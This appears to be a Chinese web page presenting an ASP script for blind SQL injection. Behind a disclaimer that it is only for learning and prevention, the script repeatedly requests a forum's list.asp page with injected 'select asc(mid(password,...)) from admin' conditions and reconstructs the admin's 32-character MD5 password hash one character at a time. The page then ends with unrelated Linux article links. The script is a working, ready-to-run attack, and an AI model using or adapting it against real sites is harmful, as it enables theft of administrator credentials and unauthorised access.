''''请勿用于非法用途,本代码只是为了让广大ASP爱好者明白原理,防范于未然。
Function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function
function getHTTPPage(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function
Function RegExpTest(patrn, strng) Dim regEx, retVal '''' 建立变量。 Set regEx = New RegExp '''' 建立正则表达式。 regEx.Pattern = patrn '''' 设置模式。 regEx.IgnoreCase = False '''' 设置是否区分大小写。 RegExpTest = regEx.Test(strng) '''' 执行搜索测试。 End Function
password="" keyword="论坛首页"''''返回正确页面会出现的字符串 url1="http://qq/bbs/list.asp?boardid=7"''''SQL注入入口 passlen=32''''MD5密码通常是32位 dim pass pass=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102)''''密码值通常是0-9,a-f
server.ScriptTimeout=999 for i=1 to passlen flag=false url=url1&" and (select asc(mid(password,"&i&",1)) from admin where id>0)="''''构造的SQL语句这里才是关键 for j=0 to ubound(pass) str=getHTTPPage(url&pass(j)) flag=RegExpTest(keyword,str) if flag=true then password=password&chr(pass(j)) exit for end if next next
response.Write(password)
[办公软件]在sybase中插入图片、PDF、文本文件 [办公软件]安装Sybase ASE [办公软件]linux指令大全(完整篇) [办公软件]Linux新手入门常用命令大全 [办公软件]在RedHat Linux 9里安装gaim0.80 [办公软件]浅谈Linux 下Java 1.5 汉字方块问题解决方法 [办公软件]Linux程序员必读:中文化与GB18030标准 [办公软件]linux指令大全 [办公软件]制作Linux启动盘的四种方法 [办公软件]Linux文件系统的反删除方法
|